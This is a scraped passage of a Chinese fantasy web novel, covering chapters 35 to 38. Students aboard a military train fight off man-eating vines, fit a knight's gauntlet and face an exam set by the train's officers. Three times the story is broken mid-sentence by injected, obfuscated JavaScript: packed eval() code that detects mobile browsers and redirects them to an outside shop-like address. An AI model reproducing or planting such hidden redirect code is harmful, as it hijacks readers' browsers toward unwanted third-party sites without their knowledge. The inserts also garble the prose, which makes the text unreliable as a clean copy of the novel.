;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726866|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 列车行驶轰隆隆的震荡音灌入了耳膜。 眼前依旧是她闭目前一刻的景象——玻璃窗子的这边映着微弱的电子光;透过窗子,外头天尚黑,弦月悬于天际,漆黑的梓木在黛蓝色的天幕背景下一棵棵掠过。 有花生大小的生满钝刺的植物果实,顶着小伞一样的冠毛晃晃悠悠的飘到了车窗外。 并越来越多。 不知何时,已经如雪花一般密布于空。 黎晓微微有些疑惑——心想,这是什么植物的种子,怎么这么眼熟。 而后她猛的警醒坐起,一把抓住安杰洛的胳膊—— “报警器在哪边?” 刺耳的钢铁摩擦声响起了,他们同时失去平衡向前扑去。 ——列车在毫无预警的情况下紧急制动刹车了。 惯性之下一切都失去了平衡。床下的行李箱向前滑移,而学生们正从行军床上滚落下来。 撞击加速了他们的清醒,虽然不至于因此受伤,却也让他们短时间内爬起来的动作笨拙又徒劳。 好一会儿之后,这质量巨大的堡垒才终于停稳。 学生们茫然又狼狈的坐起来。 “——用寒气护盾包住自己!”整个车厢里唯一还能稳住身形的黎晓飞快的凝聚寒气,将双手按在了玻璃窗子上,高声提醒,“外面有食人藤。” 几乎就在同时,密集的爆炸声便已由远及近如鞭炮一般响了起来。 那是成千上万颗种子接连撞击炸开的声音。 从最靠前的窗子开始,眨眼之间,所有窗子上的玻璃接连如蛛网般裂开。藤蔓自狭窄的排气阀钻进来,钻透破损的玻璃,瞬间暴长如鞭子,向人袭来。 遇到寒气,却随即停止了生长和扭动。 凝聚寒气是最基本的导力操作,在黎晓喊出的同时,几乎所有人就都做了到。 待回过神后,便立刻将寒气凝聚在手上将藤蔓逼退,用冰封住了残破的玻璃窗子。 食人藤是这种生物最广为人知的俗称,它的学名是噬导藤——是只能在大树海中存活和蔓延的,最著名的树海植物。 它们的种子像小伞一样随风飘荡,一旦时机成熟便爆裂开来,借助树海空气中丰富的导力因子,在极短的时间内生出藤蔓,缠住它们所能抓取到的最肥美的猎物,用表面的黏液溶化掉猎物的外层防御,吸取里面的营养和导力。 在人类进入大树海之前,聚集在一起的噬导藤,是为数不多的能克制兽潮的生物。 不过……从蛋白质和导力的角度来看,人类的成分其实和魔兽也没太大的区别,都可以成为它们的养料。 攻略树海之初,在人类对树海生物认识匮乏的年代,确实有一些冒险者死在这种生物之下。 借助着那段时期大树海的恐怖形象,这种食人植物骇人听闻的威名,也随着猎奇的心理越传越广。 但实际上,这种生物的肌纤维活跃温度十分狭窄。环境温度降低到一定程度,就只是会分泌酸液的普通植物藤蔓而已。 对人类的危害远没它的花名所描述的那般骇人。 短暂的惊恐之后,学生们心有余悸的平复下来。 却也一时都有些茫然无措,纷纷乱乱的议论起来。 济慈班五人组已经都清醒过来。 何塞接替黎晓,用冰块把附近所有窗子都封了起来。 之后他们就都陷入了不知该做什么的沉默中。 “先把床椅收起来吧。”黎晓想起先前透过窗子看到的密密麻麻的噬导藤种子,心下总觉得不安,“车可能被彻底缠住了。一会儿应该会要求我们出动。先把空间腾出来,会比较方便集结和转移。” 沙奎尔点了点头,用雷奥妮拿来吃酸奶的铁勺子敲着头顶安放行李的铁架子,示意众人安静下来,“——收起行军床,腾出空间。准备听命集结。” 他身材高大,嗓门洪亮,很快便引起众人的注意。 而几乎就在他的嗓音落下的同时,车内广播便响起了。 “前方遭遇噬导藤团——各班立即前往原定集结车厢,集合待命!” 36. 荆棘与蔷薇(六) 各处车厢都嘈杂混乱,但集结还是迅速的展开。 12号车厢因为两个熬夜赶工的学生的机警,而比其他车厢抢先了一步拦住了食人藤的入侵。整个车厢没有任何学生受伤。行军床也早早收整完毕,清理出了可以左右同时行进的通道。 但在前方车厢清理好通道并开始移动之前,位于后排车厢的学生却也只能等待。 好在,等待并没有持续很久。 不多时,11号车厢通向12号车厢的通道打开,集结开始了。 所有的班级都把集合点选在了前九节车厢,所以在右行的情况下,左侧车厢几乎彻底空出。 那个坐在地板上,仍在情理伤口的学生的身影,就显得格外萧索和醒目。 ——突发意外之下,他并不是唯一一个受伤的学生。但大部分人都及时记起相关要点,把藤蔓逼退。只有他被恐惧攫住,丧失了反应能力和判断力,右臂和左腿上的皮肤被大面积腐蚀。而流失的导力又反过来助长了藤蔓,加重了他受到的缠绕——幸亏身旁同伴及时援手救助,才没有造成更严重的后果。 但他的骄傲也毫无疑问的被击碎了,自始至终都低着头躲避旁人的目光。 而其他人所能展现的友善,也唯有面色如常,尽量不去看他而已。 一路上士气都很低迷。 大部分人都因为这种突发意外给自己造成的狼狈状况而感到茫然,也不能不对身旁受伤的同学的心情和处境心有戚戚焉。 ——大树海尚未真正展现自己的凶险,仅凭一场小小的迎接礼,就洗尽了这群天之骄子金榜题名后的春风得意,让他们重新认识了自我的渺小和无能。 就只有安杰洛这种从一开始就对现实艰难有充分认知的学生,才在路过和俯视中意识到——淘汰和选拔已经开始了。 他由衷的感谢黎晓,“多亏你及时提醒。” 为避免妨碍指令传达,集结时是不该窃窃私语的。而安杰洛似乎也不是为对话而感叹,黎晓便没有做声。 安杰洛却不知适可而止,犹在赞美她,“换我自己判断,只怕立时就吓傻了。等想起能用寒气抵御,都不知伤成什么样了。” 黎晓本不欲作答,但看见前方低着头默不作声的由人给他包扎伤口的学生,不觉就又想起年少时习武的情形。 体质特别柔弱的女孩子,资质又差劲,总是不自觉就拖慢了所有人的学习进度。 不耐烦的优等生把她堵在小巷里质问——你不觉得你很自私吗? ——无地自容。 可是确实就是自私的想要学下去,自私的不想换班换教练。因为总觉得只要换了,就永远都无法追上来了。 她忍着眼泪仰起头,固执的保证,“……我会赶上来的。” 成铭喝着盐汽水从旁路过,而后倒退回来,就站在她的身边,面无表情的看着对面所有人,继续喝他的汽水。 对面的人恼羞成怒,“你就不怕她拖累进度,耽误段位赛?” “她说她会赶上来。” “她说你就信?” “对啊,不然呢?”他淡定的把铝罐搁在后门的台阶上,开始活动关节,“不信她,难道要信一群没自知之明的弱者?” “第一次面对,都会害怕。”黎晓终于还是开口了。 “你就应对得很好。” “因为已经不是第一次了。”黎晓看着那个受伤的学生,片刻后移开目光看向队伍的前方,“元宵兽潮时第一次上阵,怕的脚都动不了,几乎连累了同伴。但遭遇多了,慢慢就习惯了。” “哦……” 没劲——察觉到周围的焦灼不安明显平息下来,就连地上的伤员也不再那么羞愧——安杰洛不由自主的想。 “我感觉好受多了,”但面上却笑着松了口气,说道,“看来你也没那么厉害。” 他这个人不管说什么都由衷的诚恳着,仿佛不存任何坏心。以致于黎晓有时候都不太确定他是在明褒暗贬的故意讽刺她,还是单纯人生观不太对劲。但当然相处久了也就学会了——相信自己的直觉,别被他的语气和态度所干扰。若你听得不舒服,那他肯定是故意。 所以黎晓很确定,他确实是在故意打压她。 不过她现在已经懂了,安杰洛原本就是个傲慢又争强好胜的人,爽朗亲切只是他用来打理社交的假面——当一个人同时写着十三份作业,拿到全班所有的A时,一眼往去全是能力上不及他1/12却在世俗意义上占尽高位睥睨于他的酒囊饭袋,又怎能不心生傲慢和孤愤? 无非他自视甚高,却偏偏对她兴起争强好胜之心,稍稍让她有些意外罢了。 不过,一旦知晓这种刻薄才是他的本性,她并没有误解他的“善意”,他确实原本就没打算和她搞好关系——黎晓反而能淡定的无视掉他的找茬了。 越往前车厢里的寒气便也越重。 从9号车厢开始,就能遇见从前排车厢前来集结的导力系成员了。 和10号、11号车厢稍显混乱的状况截然不同,导力系学生聚集的前排车厢损伤微乎其微,学生情绪大都没受到什么影响——比起半夜被食人藤袭击,他们对半夜集结的不满还更大一些。 和萨克森贵族的腐化堕落截然不同,帝都贵族少年的个人能力,至少并不逊色于这些从全国各省选拔|出来的精英。 他们穿过2号车厢时,成铭正在打哈欠。 ——他作息向来规律,熬夜写作业之类的勤勉是绝对不存在的。 但是,集结的时候居然在打哈欠…… 成铭仿佛察觉到对面传来的怨念一般,打着哈欠就望了过来。 四目相对,他自觉的把哈欠吞了回去。 黎晓突然就感到脸上滚烫——她想,她在做什么啊。莫非集结的时候目光追着自己喜欢的人,就很合情合理了吗? 他们各自收回目光,各自专注于身旁之事。 但心中各色烦忧却已在不经意间烟消云散了。 “两个。”雷奥妮却突然小声说道。 她未言明所指,但黎晓还是立刻就领会到了——从9号车厢开始,每个集结车厢都多了一个朴实无华的乌金箱子。不过说到底,乌金这种高端武器专用的特殊合金根本就无需任何修饰,它的存在本身就代表了最尖端的材料合成和锻冶、最精密的切割和蚀刻工艺。而用乌金封装表面的箱子,众所周知只有一种用途——存放军用的精密礼装回路。 ——这是一个礼装箱子。 之前路过的七节车厢每个车厢都只有一个,而2号车厢里有两个。 身为装备师杂志的忠实订阅者,这种标志意味显著的乌金箱子令她们不合时宜的心情雀跃起来。 ——对黎晓而言尤其如此。 众所周知,嘉洛琳区是叛徒创立的自治区,并且因为这位叛徒卓越的军事才能,历史上一直威胁着这个地区的边患早已被拔除,连地带人一并吸收归化。这导致在帝国的这一隅,唯一的威胁就是这个自治区从成立之初就延续下来的“反叛精神”。 所以,嘉洛琳虽然也有警察、有边防兵,有军区驻军,但武器装备水平普遍落后全国二十年。 不必说最先进的回路,就连稍微威力强大些的普适军用回路,都很少在嘉洛琳区服役。 而嘉洛琳本身在文化观念传统上,也并不看重alpha和导力回路评级。很难说这是原因还是结果,但事实就是,除了几个有特殊需求的职业,嘉洛琳区在各种层面上,对导力和导力技术的依赖程度都偏低——就连科技发展的思路,比起追求极致的导力技术,也更倾向于蒸汽和导力并行。 所以嘉洛琳区自研的回路,从导力技术的角度来看,也大都是不折不扣的异端。 尽管阅读范围广泛,理论上黎晓知道几乎所有已公开回路的已公开数据。但在实践上……她其实没见过多少真货。 也就在军事考核时,按规定练习使用了一些现役回路——而嘉洛琳区的现役回路,如上所言,大都要么是别处的淘汰货,要么就是自研的异端货。 以致于黎晓对“普适”和“现役”的印象,也和正常人有所出入。 这一晚讨论装备方案时,不止一次让安杰洛他们莫名惊诧。 ——她迫不及待的想看一看箱子里的东西。 到达他们的集结点1号车厢,二话不说,先找箱子。 出乎意料的是,他们班也只有一个箱子。 集结完毕,车内广播再次响起。 “以下同学,装备穿戴完毕后,前往零号车厢集合。” 当陆清源的名字出现在开头时,所有人都轻易的判断出,这份名单所列便是目前校方认为的这趟列车上实力最强的学生。 不出所料的,先前建群集合同班的九个学生都先后被念到,十人之中唯一一个有些陌生的名字,对黎晓来说也是理所当然。 “那个成铭是怎么回事?”很快便有人窃窃私语。 “好像是嘉洛琳区的首席。”不知是谁解释道。 于是这最后的质疑也平息了。 乌金箱子里的装备作何用途,便也一目了然了。 黎晓不免有些失望。 眼下最紧要的是尽快帮陆清源穿戴好装备,不是满足她好奇心的时候。 她虽然很想争取这次机会,但无疑,不论安杰洛还是雷奥妮,都比她更熟悉这些装备的穿戴方法。 而安杰洛也当仁不让的上前打开了箱子,短暂的诧异之后,他轻轻舒了口气,询问陆清源,“可以开始了吗?” 箱子里是一套单手装备——最高端的单手装备。 一套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726867|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “骑士”的手甲。 对新手装备师而言,确实是一种考验——因为这种复刻古代工艺的礼装,所需求的导力等级太高了。若不能完美接合外回路和内回路,尽量提高有效流入,必然加重穿戴者本就已巨大的负担。 这也是为什么很多“骑士”都需要专门的装备师协助穿戴。 但说到底,穿戴本身并无太多技术含量可言——无非就是找准外回路和内回路的最佳契合点,激发、收敛、连通。就像是穿针引线。 唯一必要的只是负回路,和在指尖范围内激活负回路的能力。后者稍难,但只需通过训练就可习得。 安杰洛不认为自己做不到。 陆清源看向他,一如既往的温和和寡言。 安杰洛却不由有些紧张 ——没错,他能做好。 但,黎晓和雷奥妮就一定做不好吗? 这种出身顶级名门的顶尖alpha,在“能做好”这个要求之外,就没别的偏好甚至避讳吗? 至少在萨克森,那些骄奢淫逸的“骑士”们,只会选择年轻貌美的女人为“专属装备师”——他们把回路触知,恶趣味的称为“指尖亲吻”。 陆清源没作答,只是伸出了右手,手心向上。 手腕内侧回路最丰富也最贴近皮肤,是选取契合点的最佳位置——也就是说,他默许了。 安杰洛按捺住心喜,迅速上前把住他的手腕,伸出食指小心的触知。 面上不动声色,心中却随即便慌乱起来。 ——他找不到。 不必说最佳契合点,他甚至连陆清源手腕上的导力回路都找不到——他体内的导力就像是泛滥成汪洋的洪水,河道淹没在水面之下,而那洪水中任意一处的深度都已经超出了他的探察能力。他分辨不出哪一处更深些,是原本的河道所在。 他混乱之际再度看向陆清源,对上那双深紫色的眼睛才猛然间醒悟过来。 ——眼前的人是紫瞳。单是他体内导力溢出的厚度,就已超出大多数alpha回路的总流量了。 但是…… 他愣愣的盯着陆清源,好一会儿之后,终于松开了他的手。 默不作声的退到了一旁。 沉默之中,气氛迅速紧绷起来。 安杰洛并不是会硬碰硬的人——就算这么不喜欢黎晓,可就连给她找茬时,他也始终都以笑脸遮掩真实用意。 黎晓无法想象他对陆清源展现不满的模样。 ——但她就是隐隐感觉到,安杰洛心里正有一股无名火向着陆清源延烧。 “太伤自尊了。”但那种诡异的剑拔弩张的沉默很快就被打破了。安杰洛遮着眼睛叹了口气,初声有些沙哑,却已恢复了他一贯以来自带笑意的语调,“连回路的脉络都摸不着。” 他一抬手,弯了眼睛笑看向黎晓,“你要不要来试试?” 黎晓先是诧异——她本以为自己会是最后一个。 但机会当前,她却不想推让。 便看向雷奥妮,“我想先试试。” 雷奥妮求之不得,连连点头,“……你先。” 她上前先拉住陆清源的手腕,才仰头看向他,说,“……我尽快。” 陆清源不觉失笑,嗓音暖洋洋的,“嗯。” 她便小心翼翼的调整手上导力的流向,放空指尖。 这操作违背本能,但确实令指尖负回路鲜明的活跃起来。 她将指尖探向他的手腕。 一声轻微的爆鸣声击穿了空气。 他们同时诧异的抬头,看向了对方。 黎晓不觉收回了手。 导力中携带着人体的信息……莫名的她脑海中便浮现出这样一句话。 ——那一瞬间她仿佛触摸到了陆清源的情绪。 虽然它如电光石火一闪而逝,不足以被捕捉到。但她很确定她已经触及了。在那个瞬间如果她愿意,如果她有足够的智力和知识——那么她就能解读他的内心。 冒犯,黎晓想,她感受到了冒犯。但她却说不清这种冒犯感是因她窥探了他的内心而起,还是因他的情绪侵袭了她的感受而起。 “这是……找到了吧?”雷奥妮不太确定的看向安杰洛。 安杰洛面色有些微妙。 ——是击穿。 ——她体内负回路的容量,竟然大到可以产生导力击穿。就算对方是紫瞳,也有些超出常理了。 “没有。”安杰洛回答雷奥妮。 而后他上前拉开了黎晓的手,“换雷奥妮来试吧。” 黎晓有些怔愣的看着他,安杰洛便说,“听我的,这是为了你好。” “可……” 安杰洛压低声音,在她耳边说,“是击穿——还是说,你打算让我提前恭喜你们天造地设?” 37. 荆棘与蔷薇(七) 是击穿。 导力是有压差的,压差超过一定数值,导力就会击穿空气,形成导力流——原理上和雷电的产生近似。 理论上,两条活跃中的正负回路相互逼近,只要距离足够近就一定会发生击穿现象——但在现实中并不存在裸|露在外的正、负回路。经过人体的传导和屏障,个体人类之间的导力压差本就微乎其微,而不论是人的皮肤还是导力回路,都是有厚度的,也都是能传递导力的。一旦接触发生,也就不必击穿空气形成通路了。 导力触知时,为了提高指尖负回路对导力的敏感度,会清空指尖流淌的导力,将指尖导压降到最低。 无疑是所有接触中,最可能产生击穿的情形。 但实质上,击穿现象依旧极其罕见。 因为beta体内正回路比负回路多,再怎么清空,也不会产生什么负压。 而omega是被隐藏的性别,很少有从事需要抛头露面的工作的机会。 在嘉洛琳,倒是有不少omega在《平权法案》的保护下,隐藏着性别从事各种工作。 但嘉洛琳既没有骑士,也没什么高端到需要旁人协助穿戴的装备,当然更不会有“专属装备师”这种骄奢淫逸的产物。 所以不论是安茹省出身的雷奥妮,还是嘉洛琳区出身的黎晓,都没有发现那是击穿现象。 只有在萨克森省读过贵族高中的安杰洛,第一时间意识到了那一声爆鸣的含义。 而在他点明之后,黎晓立刻便醒悟过来。 一旦醒悟过来,指尖那种近乎痛感的灼热,便立时清晰起来。 ——她所感受到的“冒犯”并非错觉。陆清源身上的导力通过击穿,短暂的侵入了她的指尖,引起了她的警惕和不适。 人类对他人导力侵入的警惕和不适,是生存的本能。因为导力意味着武力,导力侵入意味着武力凌驾——在残酷的自然选择进程中,只有在面对威胁的瞬间,本能的产生应激反应的人,才有更大的概率生存下来。 Alpha的威压,归根到底就是导力水平的凌驾。 而偏偏她是一个omega,过于密集的接受这种“凌驾”,会给她的生理状态造成很强的干扰。 黎晓很快便做出了取舍,退一步让出了位置。 她没有和陆清源沟通便自作主张,令他稍感疑惑。 但她此刻稍有些混乱,暂时无法措辞——总不能直说,他让她感受到危险,而她决定暂时放弃直面和挑战,选择退避吧? 雷奥妮茫然的被推上前来。 陆清源抬头看了黎晓一眼,默认了现状。 对着雷奥妮点了点头。 “我没有触知经验,”他友善的担起了先前两次失败的责任,缓解雷奥妮的不安,“需要怎么配合,请尽管要求。” 雷奥妮感激不尽——她实在是被安杰洛的失败给吓住了,对紫瞳的深不可测已然心生敬畏。 但在陆清源手腕上探了一会儿之后,她终于稍稍安心下来。 确实超出她以往所有的触知经验,令她大开眼界。但还好——也没奇葩到违背常理的地步。 “你能不能收一收导力,”她小心翼翼的要求,“尽量把手腕空出来啊?溢出干扰这么重,我有些摸不准脉络。” 陆清源点头,单手握住了一侧的车门。 车厢内的温度以体表可以察觉的速度,飞快的降低了。 黎晓打了个小喷嚏。 不知谁突然笑了起来,四周的目光霎时聚集到那人身上——那人便露出些无辜的表情,指向对面的车窗。 黎晓扭头去看,才见有冰做的小人儿从车门的把手上,接连向着车窗进发,爬上车窗,便手拉着手左右摇摆起来。 ——虽然一目了然的,是陆清源在展现他令人惊诧的导力操控能力,通过局部消解和加厚周围的冰凌,营造出冰上有小人儿在移动的景象,算是一种分外不接地气的炫技。 该怎么说呢?虽然是炫技,但那小人儿简陋的形象和稍嫌生硬的、掉帧严重的动作又太过随意,让人无论如何也感受不出挑衅的意味——何况这小动画实在太滑稽可爱了。当火柴棍儿小人们手拉着手低头鞠躬谢幕的时候,所有人都不由自主的哄笑起来。 车内紧绷的气氛早已消散。 虽然气温低得人人背后都寒毛直竖,却莫名的融洽和放松。 ——他们班这个不怎么爱说话紫瞳,内心居然这么闷骚好玩儿。实在让人忍不住想笑。 导力被引流出去之后,雷奥妮轻松的完成了她的任务。 她甚至还特地等了一会儿,看陆清源做完小剧场,让他的小人儿们鞠躬谢幕之后,才回头去捧箱子。 那“手甲”其实丁点儿都没有手甲的模样,看上去短而沉重。无数大大小小的金属立方,就像是自然状态下冷凝的结晶一样,随意又仿佛有某种规律的堆叠在一起。所有金属立方的每一个面都光滑如镜,毫无瑕疵。只有最上层凸出的那只金属立方上,在最外一面上有排列成同心圆的点阵——也就是手甲外回路的接合点了。 把适才找出的契合点贴在上面,由装备师再一次触知调整。 密集的金属归位声响起了——只在眨眼之间,先前甚至看不出规律的一坨金属立方,仿佛只经过最简单的机械变动,便已完美的贴合着陆清源的手和手臂变形成一件手甲。各色大小的金属立方早已融合为一,手甲表面浑然一体,毫无接合的痕迹。 外形调整完毕之后,银白色的金属镜面一晃,着色便开始了。 大概是贴近乌金的缘故,明亮的金属色最终变得如夜色般暗沉无光,饰以简洁的白色边线和骑士纹章,冷峻又高雅。 ——传说中的流金属工艺。 就算在各种题材的动画和影视中,就连骑士全身着甲的场景也已看得烂熟于心。但亲眼见到实物——哪怕只是一件手甲,也还是有种超时代的科幻感。 陆清源握住箱子里配备的武器——同样是一块看不出雏形的流金属胚体——轻轻一挥,“铮”的一声肃清空气的剑鸣声后,一件与手甲同色的长刀便在手中展开了。 太过帅气和冷峻了。 先前小剧场营造出的、在当前状况下过于轻松的气氛瞬间收敛。所有人都不由肃穆以待,看着他们班这个话既不多、能力又高不可攀,却意外的让人很容易跟上他的情绪和意图的领导者。 陆清源便轻轻一收,将那长刀化作一支短而灵巧的手杖,在覆盖手甲的手指上转了几转,稳稳的捉住。 他的目光扫视过所有人,便用他固有的那种波澜不惊的,温和的声音说,“我去集合——这边就交给你们了。” 人心激越起来。 几乎所有人都在回答,“放心吧!” 而车厢后的通道,也就在此刻开启。 纯白的女alpha冷若冰霜的踏进了济慈班的领地,她傲慢、寡言、目中无人。 仿佛从无人之境穿过,连视线都未偏移半分,便昂首走过整条车厢。 着白色手甲的手握上车门,似乎察觉出车门的钝涩,却连眉都不皱一下便将内外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726868|189496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的坚冰悉数化去。 而后她推开了车门。 ——零号车厢和其余的车厢并不直接相通,要经过车体装甲外一道窄窄的铁质桥架,才能到达。 她开门时,被装甲阻拦的内外视野终于贯通。 先是密密麻麻的覆盖在车门外的,被冻住的荆棘之森——先前只听到密集的种皮爆破声,尚不足以想象究竟有多少食人藤同时被催生,此刻却一目了然了。 因她化开坚冰,有稍稍复苏的藤蔓遵循本能的伸展缠绕过来。 纯白的女alpha动作简洁的拔剑一挥,荆棘的森林便被整齐的一斩为二。 剑风将被斩断的藤蔓吹得七零八落,露出了被藤蔓覆盖的铁桥架。 她就踏着桥架上荆棘的残骸,盎然向前走去。在黑洞洞的夜色之下,她踏在钢铁和荆棘架起的通道上,就像风中盛开和飘零的白蔷薇。 傲慢如初,却也高洁如斯。 现在,1号车厢里唯一的外来者,便是紧随着朱丽叶-蕾雅·罗贝尔走进来的成铭了。 他显然没料到,这位女alpha礼节居然如此疏失——就算不在一个班,彼此间存在竞争关系,可眼下集合分明是为了协作处置当下的意外,也不必如此生硬吧。 不过,在同班的罗贝尔径直离去的情况下,专门驻足寒暄,无疑也不符合他的性格。 他脚步同样没停。 只在路过黎晓身边时,将手臂一抬——连招呼都算不上,但黎晓瞬间领悟到了。 ——他是在给她展示自己的手甲。 炫耀?有。分享?也有。……总之就是某种心照不宣的习惯和默契。 黎晓眼睛一亮,毫不客气的紧盯了上去——若不是众目睽睽,她肯定还要上手摸一摸。 临近车门时,他才将手臂抬高,并指,对着陆清源的方向一晃——算是朋友之间不必强求标准的招手礼。 便也跟在罗贝尔身后,扬长而去了。 车厢里几乎所有人都有些恼火。 女alpha也就罢了。就算一身请冷冷的少年气,但毕竟是“女alpha”。无论怎样傲慢和不合群,都不太好和她计较。 男alpha也这么挑衅,就让人不由想争这口气了。 陆清源却丝毫未受影响。 依旧由着自己的步调,走向车门。停住脚步,回头对自己的同伴们一点头。 便也返身踏上了桥架。 厚重的铁门就在他身后自行关闭了。 其他车厢被挑选出来的人,也接连从1号车厢穿过。 大约是因为陆清源不在的缘故,他们的目光在车厢里扫过之后,便也纷纷和从2号车厢来的过客一样,径直穿过了。 待这短暂的喧扰结束之后,1号车厢内的成员们,突然发现自己似乎无事可做了。 安杰洛不知何时站到了黎晓的身后,低声提醒,“不要刻意去调整。你越是在意,就越是摆脱不了影响。” 黎晓听得莫名其妙。 片刻后才突然醒悟过来——她正在捏自己的指尖。 而食指尖上残余的那种酥酥麻麻的感觉,果然也再度被她注意到了。 她哭笑不得,一时真不知该说些什么才好。 便伸出手来指给他看,“我捏的是这根手指。”她笑着解释,“车厢里太冷了,关节有点僵——不赶紧活动开,万一接到别的指令怎么办?” 安杰洛盯了她一会儿,刻薄的一碰嘴唇,“无趣。” 黎晓笑着回应,“彼此彼此。” 38. 荆棘与蔷薇(八) 机械装置轰隆隆的运转声和车内广播的再次响起,及时制止了车内的躁乱。 ——血气方刚的少年郎聚集在在一起,明知车外必定有自己的用武之地,却被密不透风的关在盒子一样的车厢里,必定是安份不了的。 尽管才向陆清源保证,会照看好“此间”状况——但此间俨然是没什么状况的。 而适才接连路过那八九个人,除了陆清源众所周知的生来便高人一等——其余哪一个不和他们一样,是默默无闻之辈? 且不说就连女alpha都被选中了,就算是那个嘉洛琳区的首席,又有什么过人之处? 他是一省首席,莫非他们就无排名了吗? 二军大每年总共招收1500名学生,最优秀的都在战术系。省内排名不在50之内,都未必敢报考二军大,不在20名之内,则未必能进得了战术系。一省少则几十万多则近百万的考生,第20名和第1名的实力,真有什么实质上的区别吗? 他们省又不是没有首席,首席或许还是自己同班对头呢,也没觉得有多强。 所以凭什么他能被选中,他们却不行? 何况,当务之急是尽快清空沿途障碍,按说出动的人越多越好吧。 少年们互相怂恿、串联着——法不责众,所有人一道请愿,随车军官总不可能置若罔闻吧。 但在他们推举出代表串联串连其他车厢,并前往零号车厢请愿之前,总控室里发出了新的指令。 ——四面视屏从车厢顶的四边缓缓降下。 短暂的花屏之后,有影像出现在了屏幕之上。 毫无重点的影像。 光线昏暗到几乎什么细节都看不清楚,画面内也无任何能吸引视线的东西——就仿佛是在夜晚随意对着一个角度打开了摄影机,并且摄影机还是固定的。 短暂的腹诽之后,几乎所有人都醒悟过来——这是车外的实时监控画面,广角,还是360度的! “……考试开始了。”安杰洛似乎低声说了句。 但黎晓没有听清楚——因为随着高高上扬的烟花升空声和爆炸声响起,四面视屏上的画面有一瞬间曝光过度,刺目的白令分散了所有人的注意力。 照明弹驱散了夜色。 待视屏上画面恢复正常后,外间状况便也一目了然。 列车两边都被藤蔓缚住——那藤蔓扎根在地面上,根根绷直,像是小人国困住沉睡巨人的绳索。 而列车正前方,原本该是车轨的位置上,有一颗巨树。 不是“树王”的那种“巨树”,而是藤蔓纠结在一起向上生长,所形成的“树”。 虽然不是很清晰,然而藤蔓拧合的间隙里,似乎还嵌着魔兽未被消化干净的尸骨。 ……比车身还要粗的树身上,随处可见魔兽的尸骨,粗粗数来竟不下数十具。可想而知,被消化一空或者被包进“树干”内部的,只会更多。 而远处星星点点,虽看不真切,却也不难判断出,正有魔兽聚集在外。 ——前方视野之内,所有的梓木都已被清除。 可想而知,魔兽此刻逡巡不前,当是畏惧那棵正狂舞着蛇发似的藤蔓捕捉猎物的噬导藤树。 一旦噬导藤树被清除,接踵而至的,便将是兽潮了。 “小崽子们,还待得住吗?”广播中响起了粗犷却又带些轻佻的声音,“给你们个出去放风的机会——现在,给我认真看清外面的东西,想想该怎么处置。想好了就把答案发到总控室——答得好的,可以得到一次出击机会。当然,如果吓的站不住了,不敢出击,也可以发信告诉我。” 短暂的杂声之后,那人又打开话筒补充道,“至于那些居然忘了该随身带着通讯器的,就按失联弃权处置。等下次机会吧。” 与此同时,车厢里此起彼伏的响起了手机提示音。 ——总控室通过局域网,群发了自己的通讯地址。 黎晓掏出手机,却没有急于作答。 答案看起来似乎很明确——防守待援。 她猜测火车上应该有和附近城镇通信的方式。 就算没有,铁路沿线也有巡警巡逻。这里的意外势必很快、甚至已经传到附近的铸炉镇。 火车大约在凌晨1点钟的时候经过铸炉镇,也就是说2-4小时内,军队就可到达。 而只要铸炉镇派出正规军,不论眼前状况因何而起,都能迎刃而解。 但是,她想不通的,恰恰是“因何而起”。 ——梓木所覆盖的范围内,不受魔兽的攻击。 这一条铁则经百年时光验证无误,是瀚海村镇和道路存在的基础。黎晓不认为它会被轻易打破。 那么,噬导藤的种子飘扬至梓木庇护的区域,偶然萌发,是可能的吗? 也许。 但眼前那颗噬导藤树,却毫无疑问是用魔兽活生生喂养大的。 所以不论如何——在那颗噬导藤长成之前,路旁的梓木便已经被清除了。 并且只可能是被人为的清除。 可是—— “有想不通的疑点?”一旁安杰洛突然问道。 黎晓点头——她确实不喜欢安杰洛,但前一晚的头脑风暴确实让她受益良多。和这个人讨论讨论,也许能打开思路。 “在想究竟什么人会故意破坏梓木。”黎晓说,“破坏梓木对他们有什么好处?” “拦路抢劫的强盗?为了逼停火车抢劫财物?” “大树海不是内陆,”黎晓摇头,“在内陆当了强盗,可以逃到深山野林、边境海岛躲避搜捕,或者带足粮食一路流亡,多少有逃脱的可能。大树海呢?” 世上凶险之地莫过于大树海。而大树海中唯一安全的去处,就只有军控的城镇和有巡警沿途巡查的、梓木所覆盖的林荫回廊。 离开了城镇和林荫回廊的庇护,普通人在大树海中,连安稳夜眠的三尺之地都找不出。一旦被通缉,无法踏足城镇和林荫回廊,必然陷入绝路。 何况,大树海中奇珍异宝如此之多,治安之外的律法又宽松至极。想要在此求财,有无数比袭击军用列车更高回报且无后患的方法。 